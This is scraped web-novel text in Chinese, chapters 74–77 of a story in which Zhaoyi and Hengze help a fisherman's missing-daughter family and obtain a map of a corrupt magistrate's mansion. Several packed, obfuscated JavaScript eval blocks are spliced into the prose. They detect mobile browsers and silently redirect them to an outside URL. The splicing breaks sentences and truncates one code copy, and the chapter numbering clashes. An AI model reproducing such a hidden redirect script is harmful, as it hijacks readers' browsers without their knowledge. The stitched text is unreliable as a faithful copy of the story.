$(''.inform'').remove(); $(''#content'').append('' 去。 昭意看着走在她前头的人,不禁好奇道:“你怎么一个人出来?不怕吗?” 说着,眼前的人一顿,站在了原地。 昭意愣了愣,走上前去,就见她红着眼,眼泪在眼眶里打转。 她连忙道:“对不住!可是我说错了话?” 小姑娘倔强地擦了擦眼泪,不让眼泪落下来,“不管你的事。一个人有什么好怕的,大不了那些人把我也一起抓去!” 说着,她大步就往前走了。 昭意不敢再问,生怕又不小心戳到了小姑娘的心。 两人一路无言,走到了桥头。 桥头有个卖鱼的老头,眼神空洞,正望着远处不知道在想什么,有人来卖鱼时,眼中才稍微有些神采。 小姑娘站着看了一会儿,抿了抿唇,才上前去,小声唤了句,“爹。” 老汉扭头,见到她就一拍大腿,“你跑到哪里去了!急死我和你娘了!” 声音说到后面,竟有些哽咽。 小姑娘沉默了一会儿,“我去取姐姐的东西了。” 老汉这才看到她怀里的东西,只看了一眼,就将那包袱扯出来往地上一扔,“什么东西值得你自己一人跑出去!你若再丢了,我和你娘也不用活了!” 昭意这才想起来,之前似乎在酒馆听说过他家丢了一个女儿。 小姑娘却将包袱捡了回来,闷声道:“若没钱,娘的病怎么办。” 老汉听着抹了把泪,抬手擦了擦小姑娘眼角的泪,哽咽道:“是爹对不起你们……” 他说着,才看到旁边站着的昭意,见她盯着他们父女二人,心中警惕,站在小姑娘身前瞪着她,就差将地上的棍子拎起来了。 小姑娘探头一看,连忙将刚才的事讲了一遍,老汉瞧昭意的眼神才友善了几分。 老汉朝昭意道歉:“多谢恩人,小女调皮乱跑,给您添麻烦了。” 昭意连忙摆手,“举手之劳,谈不上什么恩,既然她已平安回来,我也放心了。” 说罢,昭意转身就要走,又听身后老汉叫住了她。 老汉不由分说地将手上的一条挂好的鱼直接塞到昭意手上。 “一点心意。” 昭意连忙将鱼塞回去,“使不得,不过是一点小事,您太客气了。” 老汉却依然坚持,“多谢您陪小女回来,我家已丢了个女儿,实在不能再丢一个。” 他低头看了眼旁边的小姑娘,摸摸她的脑袋,朝昭意笑道:“近几日生意不好,鱼也不怎么卖得出去,还请恩人不要嫌弃。” 昭意低头看了一眼那还沾着水正新鲜的鱼,懂了老汉的心思,便道:“恭敬不如从命,多谢。” 郑重地从老汉手上接过鱼来。 她走出去几步,又回头一看,只见桥头父女俩坐在一起,一大一小两人不知道在说什么。 见着这样寻常的场景,她心中一暖。 只是这份暖意在她走回小院见到那锁已经被打开的大门后,忽而消失。 昭意记得她出门前,这门是落了锁的。 她看了一眼日头,心中嘀咕着自己回来的也不算晚啊。 昭意还站在门外犹豫怎么进去时,大门却从里面被打开。 珩则站在门前,高大的身躯几乎能够笼罩住她。 昭意抬眸,睫毛颤了颤。 她很少见珩则这般面无表情,估摸着是有些生气了。 珩则垂眸,淡声问:“你去哪儿了?” 74. 第 74 章 急令 昭意飞快瞥了一眼自己手中拎着的鱼,连忙提起来道:“我去……买了条鱼。” 珩则垂眸看着她,最终往后退让了一步。 他轻声道:“进来吧。” 两人踏入院内,昭意才见院中散落着几卷画,瞧着仿佛是慌乱之下摔落在地的。 珩则却什么也没说,默默走过去将画一一拾起。 昭意心里突然有些愧疚。 “对不起,我应该跟你说一声的。” 她连忙过去同珩则一起捡画。 昭意一愣,她手里这卷画沾到了地上的水,恐怕已经卖不成了。 再看珩则手中的画,也没几卷是幸免的。 珩则拾起最后一卷画后,见她沉默的样子,似乎知道了她在想什么。 他从昭意手中拿过画卷,朝她一笑,“不必在意,是我没放好。” 只是听他这么说,昭意更内疚了。 她抿唇道:“实在抱歉,都是我不好,让你担心了。我今后就不出门了,至少这段时间不会出门了。” 反正今日她上街也没有探出什么有用的信息,等珩则赚足了银两,向酒馆里的人买几个消息也是很稳妥的法子。 昭意看着珩则看过来的眼神,生怕他不信,连忙道了一句:“真的。” 只是这样说了,珩则却摇摇头。 他的指头紧紧握着画卷,而后又松开,像是想明白了什么事一样。 珩则笑道:“是我错了,不该困住你的。” 他看着昭意,眼前的人虽然打扮得灰头土脸的,原本白皙的皮肤也被涂得蜡黄,不注意看仿佛真是一个瘦瘦弱弱的男子。 但是她那一双明亮澄澈的双眼却无法被人忽视。 看着这双眼睛,他就该知道,拥有这样眼神的人本来就十分勇敢善良,又怎么会被困在小小的院子里什么也不做? 他道:“你若想去,明天就跟我一起出去吧。” 昭意闻言,惊愕得瞪大了眼。 珩则道:“只是,不能离开我的视线。” 他想了想,又补充道:“你在旁边帮我递东西便可,与人接触的事情就交给我来。” 昭意忙不迭地点头,“好。” 珩则能同意她一起出去简直出乎她的意料,明明他昨日还那么坚决地反对。 不管怎样,昭意心情大好。 她拎着手上的鱼,大步走向厨房,喜道:“今晚我们便吃鱼吧。你喜欢清蒸的还是麻辣的?” 珩则看她带着笑意的双眼,自己心中也十分轻快。 他跟着昭意一起进了厨房,目光落在她手中拎着的鱼上时,目光里突然多了几分疑惑,“这东西……怎么吃?” 昭意脚下一顿,才反应过来。 珩则记忆全无,只吃过山上的东西,在他现在的记忆里恐怕都没有鱼的存在吧? 在昭意对珩则讲解了一番后,珩则还是不太理解。 昭意只好按着自己的喜好做了一道清蒸鱼。 只是她忘了提醒珩则,这鱼刺多得很。 于是吞了一大口鱼肉的珩则被刺卡到了。 * 木沧县的早晨也算是热闹,街上多的是出来摆摊卖东西的小贩。 昭意惊讶地发现,原来更早的时候还是会有妇人上街来买东西,只是一等太阳出来,妇人们就匆匆回家去了。 两人找了个位置,支起桌子来,将昨日珩则重新画好的画卷都摆在上面。 只是这会儿上街的都是买粮买菜的人,哪里懂什么字画,看都不看一眼就匆匆走了。 偶尔来了一人,弯下腰来看了一眼,啧啧几句,扭头就走。 如此等了一会儿,还是没有人来买。 昭意悄悄瞄了一眼珩则。 “昨日也是这样?” 珩则点了点头。 昭意抿唇,在心中组织了一会儿语言,才缓缓开口,“这县城小,都是些不懂字画的人,是他们不识货,你别往心里去。实在不行……咱就另谋生路。” 她刚说完,就见珩则眼里升起一抹笑意。 昭意正疑惑,就听远远地传来一个声音,“墨择大师——” 昭意闻声望去,只见一个体型稍胖的男子招着手往这边赶来。 这男子腰上别了把扇子,头上戴着顶小帽,和旁边的普通百姓很是不同,一看就是家中有钱的人。 男子跑来,仰起脸就冲珩则笑。 “墨择大师,昨日是我眼拙!您那副画构图巧妙,留□□致,线条流畅,我夫子看得赞不绝口!” 男子搓了搓手,眯眼笑道:“大师,不知那样的画,你这里还有几幅?” 珩则淡淡一笑,抬手指了指桌上随意放着的画卷。 男子两眼放光,一一将画卷展开,一边看一边叹,立即拍手让旁边的小厮打包起来。 这男子也是阔气,都不问珩则价格就把画包好,挥手就让小厮呈上一小黑盒子。 小厮将盒子打开,里面满满当当地全是银条子,看得昭意两眼发直。 男子扫了一眼周围的环境,四周皆是挑着菜大声喊叫的百姓,心生蔑意。 他凑近对珩则道:“大师,你以后若是要卖画,就直接卖给我呗。看着大师沦落到市井卖画,我也实在是怜惜大师的天赋啊!” 珩则暗暗看了一眼昭意。 昭意使劲点头。 他眼中染上笑意,转头对男子道:“墨某便谢过公子。” 得到珩则的答复,男子心满意足,将所有字画都带走了。 看着空空如也的桌子,昭意有些惊讶,不由得挪到珩则旁边,叹道:“木沧县怎会有如此出手阔绰之人!” 珩则道:“此人是王家的公子,王家世代经营文墨生意,偏偏出了一个对文墨一窍不通的公子,因此王家的人就将他送去学画。” 结果可想而知,这王公子就不是学画的料,全县最好的夫子来给他授课,在他眼中却好比受刑。 课能糊弄过去,课业却不好交差。 但偏偏就是这么巧,昨日王公子出门散心,正好遇到了在街头卖画的珩则。 王公子见他画得十分好看,自己却又不懂其中门路,便买了一幅回去让夫子看看,实在没想到夫子见了就赞叹不已。 于是今日王公子天还没亮就赶来市集,就为了看看珩则今日还来不来卖画。 珩则将黑盒子递给昭意。 昭意郑重地接过,悄悄打开一角,见到里面确实摆放着整整齐齐的银条子,又连忙将盒子关上。 有了这些钱,他们就能买到更多的消息了。 昭意目光略带敬佩地看向珩则,“看不出来,你本事这么大!” 迎着昭意明亮的眼睛,珩则微微偏过头,淡定道:“也……没有你说的那么厉害。” 他虽假装镇定,白皙的耳朵却偷偷泛起了红。 只是昭意正抱着盒子乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144803|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵,并没有发现珩则的异样。 正待两人收拾了东西打算回院时,对面突然换传来一声暴喝,“拿来!” 声音有些耳熟。 昭意抬头,就见不远处站着一个男子,抓着一个小姑娘的衣领。 那小姑娘手上紧紧抓着个菜篮子,只是里面的菜已经撒了一些出来。 这不就是昨日卖鱼的那家小姑娘吗? 抓着她的男子也正好是昨日见到的人。 昭意一抿唇,将手中捂了很久的盒子塞到珩则手里,“等我一会儿。” 说着,就朝对面走去。 珩则愣愣地看着她跨过桌子,大步朝对面走去,然后朝着那男人的小腿猛踢了一脚。 男子毫无防备,这一脚踹得他差点给昭意跪下。 昭意一把拉过小姑娘,冷脸道:“光天化日的,你想干什么!” 虽然这小姑娘已经很勇敢了,但到底年岁小,身子不自觉地颤抖着。 她紧紧握着昭意的手,抿着唇一言不发。 那男子一看是她,心中怒火腾地升起,正好新仇旧恨一起算! 他一握拳,往前站了一步,目光紧锁着昭意。 对面的珩则见状,放下了手中的东西,沉着脸站了起来。 恶斗一触即发,周围的百姓见状连忙散开来,生怕波及到自己。 就在这时,一个人从远处飞快地冲了过来。 那人的目标不是他们中的任何一人。 只是跑的速度太快,就要撞上站在路边的昭意和男子。 周围的人都没有察觉到这个人的存在,目光全都聚焦在昭意和男子身上。 珩则却注意到了那人的动向,上前几步,比那人还快一点来到昭意身边。 他一把拉过昭意,就见下一秒,那人就直径撞上男子。 那人个子高,身形却有几分瘦弱,却直接将比他还要壮上几分的男子撞翻在地。 刹那间,昭意与那人对视了一眼。 断眉冷眼,脸型偏瘦。 但也只是一瞬间,那人就撇过脸,脚下步伐一变,稳住了身形后直接就跑。 他跑得实在太快,一眨眼的功夫就消失在了街头。 被撞倒的男子好不容易才从地上爬起来,摸着自己的额头,朝着那人消失的方向又气又怒。 只是无可奈何,因为他刚才都没来得及看清对方的脸。 男子只好将火气对准了眼前的昭意三人。 他握紧拳,还未说出一句话,就听远处传来邦邦的敲锣声。 男子脸色一变。 不仅是他,周围的百姓皆脸色一变。 众人纷纷将大路给让开,避让到道路两侧跪下。 珩则护着昭意和小姑娘后退,躲到了人群最后头。 昭意有些惊讶,“这是怎么了?” 听昭意这么问,她旁边的小姑娘突然道:“哥哥你们是刚来木沧县的吗?” 昭意和珩则看向了她。 小姑娘道:“这是急令的声音,恐怕发生什么大事了。” 她看着铜锣声传来的方向,眼里有些不安。 正如小姑娘所说,这县城里似乎发生了不得了的大事。 不一会儿,就见一人骑着马,手里敲着锣,飞快地从市集跃过。 他身后紧跟着一人,在高声呼喊着。 细细听去,似乎在喊,“合罗江北,县令遇刺,请求救援——” 75. 第 75 章 谋划 站在前面的百姓也听到了,众人神色各异。 小姑娘拉了拉昭意的手,“哥哥,你们快走吧,等会儿街上该戒严了。” 街上马蹄阵阵,前方已不少百姓从小巷疏散了,空气中似乎弥漫着一股不平静的气息。 昭意点了点头,低头道:“我们先送你回去。” 小姑娘却摇头,“我认得路,我先走了。” 说着她就一瘸一拐地要往人群里钻。 昭意眼尖地拉住她,“你的脚怎么了?” 小姑娘抿了抿唇,“没事。” 只是在方才的混乱中不小心崴到脚而已,她家离这里不远,忍一忍就到了。 她的话还没有说出口,就见昭意一弯腰,轻轻地就把小姑娘背在了背上。 “我们送你回去。” 小姑娘先是一愣,随后眼眶一热。 她趴在昭意身上,闷闷道了句:“谢谢。” 街头上人多混杂,趁着没戒严,大家都急匆匆地往家里走。 昭意和珩则朝着小姑娘指的地方走,拐了好几个弯,就看到一人在箱子里杵着拐杖走着。 小姑娘抬头,立即喊道:“爹!” 老汉闻声抬头,见到昭意背上的小姑娘,喊了声:“阿月!” 看着老汉激动地踉踉跄跄地上前来,昭意连忙几个快步走到老汉前面。 阿月从昭意身上跳了下来,扶住老汉,“爹,你怎么又乱跑!” 老汉认出了昭意,拉着阿月道:“快谢过恩人!” 说着他就要一拜,昭意连忙拉住他,“不必多礼,我们正好在路上遇到了,就顺路送她回来。” 她目光落到老汉包着的腿脚上,迟疑问:“您的腿......” 阿月冷哼一声,眼眶微红,“就是刚刚街头那些人干的!” 她抱住老汉,垂下眼眸看着老汉的脚。 昭意见着她故作坚强的样子,心中不由得一酸。 阿月的娘病了,她爹现在又腿脚不便,所以她才一个人出来买菜了吧。 只是麻绳专挑细处断,阿月的姐姐才失踪,现在一家的压力竟然压在了她身上。 阿月道:“我都说让你在家里等我,你又乱跑!” 她口中虽是责备,可眼中却是浓浓的关切。 老汉笑了笑,“方才我听王大婶说街上出事了,又不见你回来,才想着来找你。” 看着眼前争执的两人,昭意抿唇。 她在心中犹豫几分,还是走到阿月面前,轻声问:“你可还记得你姐姐是什么时候失踪的?” 一直跟在昭意身后沉默着的珩则抬眸看向了她。 阿月一愣,她虽有些不明所以,但还是告诉了昭意,“大约一周前。” 一周前。 就是不知道阿月的姐姐还在不在木沧县。 珩则问:“你们知不知为何城中会有女子失踪?” 阿月和老汉眼神皆一暗,摇了摇头。 昭意与珩则对视了一眼,看来城里大部分百姓并不知晓真相。 将一城百姓弄得人心惶惶,还让阿月和她爹娘被迫与亲人分离,就仅仅是为了保住县令的官帽子。 昭意暗暗咬紧牙关。 这个狗官,十几年前做个忘恩负义的人便罢了,如今却要为了一己之私搅乱所有百姓的生活。 或是注意到了昭意的脸色不太对劲,阿月突然上前几步凑到昭意身边,悄悄道了句,“谢谢姐姐。” 昭意一愣。 阿月又不傻,刚才她与昭意贴的那么近,自然能察觉出昭意和她一样是个姑娘。 昭意看着阿月笑盈盈的眼睛,心中一暖。 阿月扶着老汉往家里走去了。 小巷里只剩下珩则和昭意两人。 昭意看着阿月和老汉远去的身影,她身边的珩则却在看着她。 珩则问:“你刚才突然问她姐姐的事,难道是想......” 正好阿月和老汉的身影消失在了拐角之处。 昭意垂下眼眸,握紧拳。 “一周的时间,不算太长。或许她姐姐还在木沧县里,还没有被转移出去呢?” 珩则静静听着她说话。 昭意抿了抿唇,“若是可以,我想将她姐姐带回来。” 待阿月姐姐回来,阿月和她爹娘定会很开心吧。 她看向秦府的方向,眼神一冷,“那里或许还有其他和阿月姐姐一样的人。” 巷子里的冷风吹动着她的发丝,露出坚定的眉眼。 珩则看着她,忽而一笑。 “既然你已决定,我便同你一起。” 这次昭意倒是没有拒绝。 只凭着她的功夫,能自己从秦府里逃出来,却很难将秦府里面的人带出来。 若珩则也在,这计划就有了可能。 她朝珩则感激一笑,“多谢。” 珩则将她带笑的面容收进眼底,他笑了笑,“你我之间何须这么客气?” 天边乌云密集,冷风习习,只是这风吹来,却让他觉得有几分暖意。 两人在整个县城戒严前打道回府了。 原本他们还想去酒馆,想试试能不能遇到来喝酒的人。 只是县令遇刺,酒馆这些往日里鱼龙混杂又消息灵通的地方自然查得严。 待两人去到酒馆时,就见不远处站着几个官兵,而往酒馆里一看,果然一个人都没有。 看样子似乎会戒严上很长一段时间。 也不知这县令遇刺是受了多么重的伤,竟然就连昭意和珩则住得这么偏僻的街道上也站着几个官兵。 昭意扒着门缝看了一眼,冷哼一声,“若是被刺死了才好呢。” 只是这样一想,又觉得这种死法太过便宜那县令老头了。 他应该要活着,眼睁睁看着自己的府邸是怎样被人踏破,他用手段夺来的一切是怎么破灭的。 珩则站在昭意身后,他透过门缝,也看到了门口的两个官兵。 这几天恐怕城里的百姓都不敢轻易出门了。 昭意站起身来,看了眼天上的日头,有些忧心地蹙眉。 他们倒是可以等着城里的戒备慢慢撤掉,可她怕被抓走的人等不得。 但他们尚不确定被抓走的人如今在何处,若是直接闯入秦府,说不定不仅带不走人,还会打草惊蛇。 昭意有些愁。 珩则看了她一眼,就知她在想什么。 他道:“这事或许能从沈小姐那边找到些法子。” 闻言,昭意眼睛一亮。 沈府在木沧县算得上是大家门户了,自然有些门道获得一些别人不知晓的消息。 县令惹到了州上官爷的事情就是繁清告诉她的,或许她那边会有别的消息。 珩则道:“不如今晚我们去沈府一趟?” 昭意沉默了一会儿,还是点了点头。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151383|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然她不是很想将沈家牵扯进来,但这是目前最好的法子了。 * 是夜,府里却灯火通明。 纸窗上印着一女子的身影。 烛火晃动,旁边又走来一个女子。 她悄悄走到桌前,看了眼桌上的字,无奈道:“小姐,老爷让您写字,您写的这是什么呀?” 繁清叹了口气,将纸张揉成一团,随意丢到了角落。 她推开窗户,看着天上那抹明月发愣。 阿萍却走了过来,将窗户关上,看着繁清,“夜里风大,可别吹着了。” 繁清只好坐回到桌前,闷闷不乐。 阿萍见了,只好劝道:“这几日外头乱,老爷不让您出去,也是为了保护您,您别往心里去。” 只是这么说,繁清还是垂着眼不说话,不知道她在想些什么。 外面突然传来一阵虫叫,在这寂静的夜里十分刺耳。 阿萍站起身来,推开窗,皱着眉往外看着。 “咱们院子里什么时候有了这种虫子。” 她转头对繁清道:“小姐别怕,一会儿就让几个小厮将那虫踩了。” 繁清却愣了愣,她站起身来也站到窗前,眼睛突然有神了起来。 她对阿萍道:“你下去吧,我突然有些困了。” 阿萍瞧着繁清神采奕奕的双眼,心中生疑。 见她还磨磨蹭蹭的,繁清也没了耐心。 她推着阿萍往外走,“快些快些。” 将阿萍推至门外,繁清赶紧把门锁了。 她站在原地,听着门外的阿萍脚步声渐渐远去后,心中一松。 繁清连忙回到窗前,她左右看了一会儿,院里漆黑一片,什么也没有。 但是她确定刚才她没有听错。 繁清小声道:“昭意......昭意!我知道是你,你在哪?” 她站了一会儿,院里依然没有动静。 在繁清疑惑时,她面前突然蹿出一张脸来,吓得她连连后退。 尖叫声即将从口中喊出,却又被一只手立即捂住了。 昭意朝繁清眨了眨眼。 繁清气极了,拉下昭意的手,“大晚上的,你想吓死谁!” 昭意连忙拉住她的手,笑道:“我错了我的小姐,都是我的错。” 繁清偏过脸,过了一会儿还是将脑袋转了回来。 她上下打量着昭意,见她人好好的,眼睛里也有神,提了几天的心终于松了下来。 “你来找我有何事?” 繁清知道,若不是实在没办法解决的事情,昭意肯定不会来找她的。 昭意笑意淡了些,“有件事确实要你帮忙。” 虽然是在繁清的院子里,但随时可能有人来。 昭意只能简要地跟繁清说了阿月一家的事和她的计划。 “我想着,你爹娘或许有些途径能打听得到一些消息。” 繁清道:“我一会儿让万里去问问,若有消息,明日一早就让万里送去,可行?” 昭意一喜,“繁清,谢谢你。” 繁清却面露忧色,她拉过昭意的手,“可你做的这事实在太危险,你可要答应我,一定要好好活着回来。” 昭意心中一软,她眼神淡了淡,转而又冲繁清笑道:“一定。” 她的目光落到两人相交的手上。 终有一日,她会正大光明地站在众人面前,再也不躲躲藏藏。 76. 第 76 章 千香 万里在黎明时分叩响了庭院大门。 此时天色还有些昏暗,巷子里只站着一个打盹的士兵。 在院里等了一宿的两人听到动静,连忙去开门。 万里递了一张纸条过来。 他穿着一身黑衣,目光紧紧盯着远处那个士兵,低声道:“沈府并不知道确切的消息,但是你们可以去上面这个地方打听打听。” 珩则看了眼纸上的信息,就将纸条递给了昭意。 昭意拿过纸,向万里道了声谢。 她偏头看了一眼外头,轻声问:“可要进院避一避?待天亮了再走。” 万里却拒绝了。 “我在沈府还有事,趁着天未亮走最好。” 昭意只好点头,“你小心一些。” 万里拉上兜帽,转身时对两人道了句,“保重。” 说罢,他匆匆步入夜色中,趁那打盹的士兵不注意,翻墙跃走了。 巷子里十分安静,仿佛并未有人来过一般。 天色还有些黑,借着昏暗的光线,昭意勉强看清了纸条上的字。 千香阁。 昭意一愣,似乎在哪儿见过。 待太阳从东方升起,照亮了整个木沧县时,街道上才逐渐有了人。 只是昨日城里才戒严,与昨日比起来,今日上街的人还是很少。 这千香阁似乎很有名,昭意与珩则只稍稍打听了一番,很容易就寻到了千香阁。 她站在千香阁前,看着里面摆放的胭脂水粉,又看着埋头记账的少年,心中道了句真巧。 珩则打量着千香阁,看起来不过是一间十分普通的胭脂店。 他看着昭意若有所思的神色,疑道:“可有哪里不对劲的?” 千香阁里面的少年终于注意到站在外面的两人,他抬起头来看到了昭意,整个人一愣,搁了笔就朝外走来。 昭意对珩则轻声道了句,“可太不对劲了。” 她第一次到这胭脂店,就隐约觉得这店有些不寻常。 在这个人人自危的时候,还能安然自若开店的女子,定然不是普通人。 少年走到了两人面前,朝他们一鞠躬,就看向昭意,“这位公子,我们老板娘有请。” 昭意一愣,她与珩则对视了一眼,心中有些疑惑,但还是跟着少年进了屋。 少年撩起上次被昭意打量了无数次的帘子,带着两人走了进去。 这块帘子后就是一把向上的楼梯。 楼梯是木制的,似乎有些年头了,踩上去就发出吱呀声响。 上了楼后,少年带着两人走到了一处房间前。 里面似乎还有人在说话,只是距离似乎有些远,听得并不真切。 少年上前去敲了敲门,里面的说话声便停了。 过了好一会儿,门从里面被推开。 少年立即低下了头,似乎有些害怕里面的人。 昭意却有些好奇地看了过去。 下一刻,门里就闪出来一个身影。 昭意与一双凌冽的双眼对视上了。 眼睛的主人身材偏瘦,冷眼断眉。 昭意屏住了呼吸。 对方见到昭意,似乎也有些惊讶,但目光只是从昭意和珩则脸上扫过后,就低下头下楼去了。 昭意看着男子的身影消失在楼梯拐角,她暗暗吸了一口气,看向珩则。 珩则同样认出了刚才的人。 他看着昭意,捕捉到她眼里的一丝慌乱。 珩则握住昭意有些冰凉的手,在她耳边轻声道了句,“没事。” 听了珩则的话,昭意慌乱的心竟然真的慢慢平静了下来。 刚才与那人猝不及防地对视上时,她确实有几分慌乱,确切的说,是有几分害怕。 这人与她见过的所有人都不同。 昨日的街上的那一眼,她就看出了对方眼里的麻木冷漠。 这人身上有杀气。 并不是这人想要杀她,而是那种杀气是对方杀了许多人后,无论怎样都掩盖不掉的气息。 一种让人寒颤的气息。 昭意看着少年走进屋里的背影,她抿了抿唇,心里多了几分不安。 这屋子似乎也变成了龙潭虎穴的模样。 只是这时,珩则宽大的手掌紧紧包裹着她的手。 昭意看着他镇定的双眼,心平静了下来。 珩则道:“我们一起进去。” 迎着他的目光,昭意心头有种难以言说的感觉涌了上来。 她强迫自己移开了视线,点了点头。 情绪的变化只在一瞬间,下一刻,两人就跟着少年朝屋内走去了。 粉红的纱帘垂落在地,空气里飘来熏香的味道。 并不像昭意想的那样挂满了刑具。 她略略松了口气。 再看向里面的人。 女人坐在桌前,桌上散落着几张纸,她一手撑着脑袋,双目紧闭,秀气的眉毛却紧紧蹙起,似乎在烦恼着什么事。 少年在女子耳边低声几句,女人“嗯”了一声,便缓缓睁眼。 她的目光飘过珩则,最终落在了昭意身上。 女子揉了揉眉心,“小宝,怎么还带了个男人来?” 少年低着头站在旁边。 “罢了,你先下去吧。” 女子挥了挥手,少年就出了房间。 昭意上前几步,刚要说明来意,就见女子一抬手,止住了她要说的话 女子瞥了一眼昭意手中的纸,笑了笑,“沈家来的?” 昭意微微吃惊,“是。” 女子颔首,“不必惊讶,我这里既然卖着消息,这些小事定然瞒不过我。只是姑娘要打探的事情......” 她一眯眼,摊开手道:“可是要拿有价值的东西来换的。” 昭意与珩则对视了一眼。 两人一贫如洗,如今身上只有昨日赚的那一盒银条了。 昭意将小黑盒子拿了出来,放到了桌上。 却不料女子看都不看一眼,就道:“这点东西,姑娘收回去吧,我这里用不上。” 昭意一愣,她看了女子一眼,见她笑盈盈地看着自己。 昭意琢磨了一会儿,“那老板娘需要什么?” 女子不答反问,“姑娘要着消息,想要做什么?” 昭意没有一丝犹豫,“救人。” 对方却轻笑了一声,眼里却并无笑意,她紧紧盯着昭意。 “你救得了一个,还能救千千万万个这样的人吗?” 昭意盯着女子的眼睛,“若不试试,又怎知救不了?” 女子笑了笑,似乎在笑昭意的自不量力。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164222|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她用手撑着脑袋,思索一会儿,又问:“昨日街上的混乱,你都看到了,有何感想?” 听着对方的问题,昭意想到了方才在外面遇到的那个男子。 只是她不确定能不能将此事说出口。 昭意斟酌道:“如今的县令利益熏心,一心牟取暴利却又胆小如鼠,为一己之私欺压百姓,至百姓于水火之中,可耻可恨。” 女子听着,似乎对昭意说的并不感兴趣。 她点了点头,又问:“还有别的吗?” 昭意疑惑地看了过去,才见女子双眸的眼神仿佛利刃一般直捣人心。 她心中一惊。 显然对方对她的回答并不满意。 昭意脑海里闪过了刚才外面遇到的男子。 她抿了抿唇。 若是说对了,这女子肯将消息给他们最好。 但若是说错了...... 昭意想起外面那男子身上浓浓的杀意,蹙紧了眉。 正在她纠结时,肩膀被人轻轻揽住。 熟悉的暖意笼罩到了她的身上。 昭意偏头看向身边的人,就见珩则看着女子,似笑非笑,“昨日县令遇刺,与老板娘有关系吧?老板娘若是想拉拢我们,直说便是,何须这般装腔作势吓唬人?” 女子看了珩则一眼,“你倒是个明白人,这便是我给你们消息的报酬。” 珩则看着女子不语。 女子道:“消息我可以给你们。只是就凭你们,定然无法将人救出来。” 她偏头一笑,“方才这么说,便是想劝你们,不要做扑火的飞蛾,到头来谁也救不了。若你们自己行动,我倒是觉得不如事不关己高高挂起,明哲保身,至少能保住一条性命。” 她这是在劝昭意和珩则不要再打探此事。 只是想到阿月一家,昭意沉默一会儿,还是道:“是不是扑火的飞蛾,也要试试才知道。” 女子看着昭意坚定的眼神,心中一叹,“罢了。” 她从旁边抽出一个竹筒,倒出里面的纸来递给两人。 “这是秦府的地图。据我所知,这一月失踪的女子皆还在秦府中。州上的官爷并不满意上次他们送去州上的人,大发雷霆了一场,所以这次他们尤为谨慎。” 昭意接过图纸,展开来与珩则一同看着。 女子笑了笑,道:“我这里倒是有一计,既能救回那些无辜的女子,又能端掉那姓秦的老巢。你们若失败了还能有幸回到这里,定要守约听我安排。” 昭意动作一顿,看向女子,“可否告之您的计划?” 女子缓缓抬头,就对上了珩则略带警告的视线。 最终女子笑了笑,“看来有人也想到了,只是不愿让我说出来。” 昭意一愣,顺着她的目光看向了身后的珩则。 珩则只握紧了她的手。 他朝着里面看了一眼,冷声道:“既已拿到图纸,我们便先告辞了。” 说罢,不等里面女子作何反应,他拉上昭意匆匆就要走。 身后传来一阵风声,珩则头也不回,手就接住了袭来的东西。 是刚才昭意放在桌上的小黑盒子。 帘子那边传来清脆的声音,“我可不贪这一点小财,只等着你们重新来找我。” 珩则没说话,拉着昭意下了楼。 77. 第 71 章 矛盾 待到了楼下,昭意挣开珩则的手。 “怎么话都不说清楚就走?” 她看了一眼珩则,“你知道她的计划?” 珩则没有回答。 他偏过头,紧抿双唇,“不管怎样,我们已经知道阿月的姐姐在秦府了。” 他转过头来,轻声道:“若我们能将人带出来,这老板娘的计划是什么并不重要。” 时昭意沉默了一会儿,是有几分道理。 她看了眼街上朝着他们这个方向走来的官兵,虽然心中还有很多不解,但这里并非是议事的好地方,她便点了点头。 先前两人早就做足了准备,一切只等天黑。 秦府的戒备很森严。 巡逻的侍卫几乎是一批接着一批的。 前几日县令外出,在回城的路上被人刺杀了。 刺客打扮成土匪的模样,从山坡上直接冲了下来,却不索财,只将刀锋对准了县令的马车。 当时一把大刀直接插进县令的马车里,刀锋离他的脑袋只偏了一公分。 只是最后在侍卫的保护下,县令还是等来了木沧县的救兵。 县令的命虽是保住了,但人也受了不小的惊吓。 所以这几日的秦府的戒备都很是森严。 尽管是夜间,秦府里也一片灯火通明,院里的灯火快要将秦府照得跟白日一样了。 昭意与珩则二人远远地看着秦府。 昭意瞧着秦府这戒备,不由得皱起了眉。 别说带着人了,就算是她自己一人要逃出来也有几分悬乎。 昭意算是知道为何老板娘要说那样的话了。 思索间,旁边的人却突然一动。 昭意一惊,一把拽住他的胳膊。 “你干什么去?” 黑夜中,昭意看不清珩则的眼神,只感受到他看了她一眼。 珩则喉结微滚,他看着秦府,“我想试试。” “不行。” 昭意立即反对。 如今他们能看到的明面上的戒备就如此森严,更不用说若是再加上暗处的埋伏,他们二人下去了恐怕就回不来了。 昭意一思索,“如今他们还没有找到合适的人选,暂时不会转移里面的人,我们再想想别的法子。” 